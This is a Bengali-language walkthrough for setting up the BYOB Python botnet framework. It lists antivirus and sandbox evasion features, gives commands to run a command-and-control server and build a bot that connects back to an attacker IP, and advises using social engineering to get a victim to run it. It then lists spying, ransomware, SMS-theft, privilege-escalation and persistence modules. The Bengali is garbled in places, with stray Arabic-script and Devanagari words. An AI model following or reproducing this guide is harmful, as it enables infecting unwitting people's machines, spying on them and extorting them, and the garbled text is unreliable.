BYOB সিকিউরিটি রিসার্চার এবং ডেভেলপারের জন্য একটি ফ্রেমওয়ার্ক প্রদান করে যাতে তারা একটি বেসিক বটনেট তৈরি ও পরিচালনা করতে পারে, যাতে প্রতি বছর লক্ষ লক্ষ ডিভাইসকে সংক্রামিত করে এমন উন্নত ম্যালওয়্যার এবং আধুনিক বটনেটের বোঝাপড়া গভীর হয়, যাতে এই হুমকির বিরুদ্ধে কাউন্টার-মেজার তৈরি করার ক্ষমতা বাড়ানো যায়। এটি ডেভেলপারদের সহজে নিজস্ব কোড ইমপ্লিমেন্ট করতে এবং কুল নতুন ফিচার যোগ করতে দিয়ে তৈরি করা হয়েছে, RAT বা কমান্ড অ্যান্ড কন্ট্রোল সার্ভার স্ক্র্যাচ থেকে লিখতে হয় না।
ফিচারসমূহ
ডিস্কে কিছুই লেখা হয় না - ক্লায়েন্টরা কখনো ডিস্কে কিছুই লেখে না - مؤقت ফাইলও নয় কারণ রিমোট ইমপোর্ট আربیট্রারি কোডকে মেমরিতে ডাইনামিক্যালি লোড করে এবং বর্তমান রানিং প্রসেসে সরাসরি ইমপোর্ট করে।
প্ল্যাটফর্ম-Independent - সব কিছু পাইথনে লেখা এবং জেনারেট করা ক্লায়েন্টরা ঐচ্ছিকভাবে পোর্টেবল এক্সিকিউটেবল (Windows) বা স্ট্যান্ডঅ্যালোন অ্যাপ্লিকেশনে কম্পাইল করা যায়।
ফায়ারওয়াল বাইপাস - ক্লায়েন্টরা রিভার্স TCP কানেকশন মাধ্যমে কমান্ড অ্যান্ড কন্ট্রোল সার্ভারের সাথে সংযোগ করে, যা অধিকাংশ ফায়ারওয়াল বাইপাস করে কারণ ডিফল্ট ফিল্টার কনফিগারেশন मुख্যভাবে ইনকামিং কানেকশন ব্লক করে।
এন্টিভাইরাসের বিরুদ্ধে কাউন্টার-মেজার - পরিচিত এন্টিভাইরাস প্রোডাক্টের নামवाले প্রসেস ব্লক করে এন্টিভাইরাস দ্বারা বিশ্লেষণ থেকে এড়ায়।
পেলোড এনক্রিপ্ট করে অ্যানালিসিস রোধ - মুখ্য ক্লায়েন্ট পেলোড একটি র্যান্ডম 256-বিট কী দিয়ে এনক্রিপ্ট করা থাকে যা শুধু পেলোড স্টেজারে থাকে যা এর সাথে জেনারেট হয়।
রিভার্স-ইঞ্জিনিয়ারিং প্রতিরোধ - ডিফল্টভাবে, ক্লায়েন্টরা এক্সিকিউশন বন্ধ করে দেবে যদি ভার্চুয়াল মেশিন বা স্যান্ডবক্স শনাক্ত হয়।
ইনস্টলেশন পদ্ধতি
git clone https://github.com/malwaredllc/byob.git
cd byob
pip install -r requirements.txt
python setup.py
এখানে দুটি টার্মিনাল ব্যবহার করা হবে; প্রথম টার্মিনাল হবে বট সার্ভার যেখানে সেশন হ্যান্ডেল হবে এবং দ্বিতীয় টার্মিনাল বট ক্লায়েন্ট যেখানে বট তৈরি হবে।
python server.py –port 445
তারপর অন্য একটি লিনাক্স টার্মিনাল খুলুন এবং টাইপ করুন cd /home/cybersecurity/Downloads/byob/byob
python client.py –name testbot.py 192.168.1.10(attacker ip) 445
উপরোক্ত কোয়েরি এক্সিকিউট করার পর একটি নতুন বটনেট তৈরি হবে। উপরের কোয়েরি এক্সিকিউট হবে। এখন, আপনি যেকোনো সোশ্যাল ইঞ্জিনিয়ারিং ট্রিক ব্যবহার করে কাউকে তাদের কম্পিউটারে বট খুলতে বাধ্য করতে পারেন। যখন টার্গেট মেশিনে testbot.py এক্সিকিউট হবে, বটনেট সার্ভারে একটি সেশন তৈরি হবে।
পোস্ট-এক্সপ্লয়েটেশন
পোস্ট-এক্সপ্লয়েটেশন মডিউলগুলো যা বটনেট সফলভাবে ভিক্টিমে কনফিগার হওয়ার পর ক্লায়েন্টরা দ্বারা রিমোটলি ইমপোর্টযোগ্য।
কিলগার (byob.modules.keylogger): ব্যবহারকারীর কীস্ট্রোকস ও উইন্ডো নাম লগ করে
স্ক্রিনশট (byob.modules.screenshot): বর্তমান ব্যবহারকারীর ডেস্কটপের স্ক্রিনশট নেয়
ওয়েবক্যাম (byob.modules.webcam): লাইভ স্ট্রিম দেখা বা ওয়েবক্যাম থেকে ইমেজ/ভিডিও ক্যাপচার
র্যানসম (byob.modules.ransom): ফাইল এনক্রিপ্ট করে এবং র্যানসম পেমেন্টের জন্য র্যান্ডম BTC ওয়ালেট জেনারেট করে
প্যাকেট স্নিফার (byob.modules.packetsniffer): হোস্ট নেটওয়ার্কে প্যাকেট স্নিফার চালায় এবং .pcap ফাইল আপলোড করে
পারসিস্টেন্স (byob.modules.persistence): হোস্ট মেশিনে পারসিস্টেন্স প্রতিষ্ঠা করে
ফোন (byob.modules.phone): ক্লায়েন্ট স্মার্টফোন থেকে টেক্সট মেসেজ পড়ে/সার্চ করে/আপলোড করে
প্রিভিলেজ এস্ক্যালেশন (byob.modules.escalate): অনুমোদিত অ্যাডমিনিস্ট্রেটর প্রিভিলেজ পাওয়ার জন্য UAC বাইপাস চেষ্টা করে
পোর্ট স্ক্যানার (byob.modules.portscanner): লোকাল নেটওয়ার্কে অন্য অনলাইন ডিভাইস ও ওপেন পোর্ট স্ক্যান করে
প্রসেস কন্ট্রোল (byob.modules.process): হোস্টে চলমান প্রসেস লিস্ট/সার্চ/কিল/মনিটর করে